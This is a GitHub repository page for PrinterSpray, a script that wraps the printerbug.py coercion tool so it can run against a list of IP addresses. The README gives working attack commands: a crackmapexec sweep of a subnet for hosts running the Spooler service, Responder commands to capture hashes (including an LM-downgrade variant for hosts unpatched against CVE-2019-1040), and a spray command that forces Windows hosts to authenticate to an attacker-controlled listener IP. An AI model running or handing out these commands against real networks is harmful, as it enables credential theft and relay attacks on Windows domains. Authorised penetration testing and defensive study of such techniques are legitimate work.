Skip to content

Kahvi-0/PrinterSpray

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 

Repository files navigation

PrinterSpray

Wrapper of https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py to be used with a list of IPs.

Discover potentual targets

crackmapexec smb [subnet] -u '' -p '' -M spooler | grep -a "Spooler service enabled" | awk -F " " '{print$2}' > spooler.txt

Have responder running

sudo responder -I [interface] -Av

Also try with --lm to discover hosts that are not patched to CVE-2019-1040

sudo responder -I [interface] --lm -Av

Run against hosts that have the spooler service enabled

./printerspray.sh -t [targets file] -d [AD domain] -u [username] -p [pwd] -l [listenerIP]

Example:

./printerspray.sh -t ./spooler.txt -d 'labdomain.local' -u 'ADuser1' -p 'pwd' -l 192.168.1.23

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages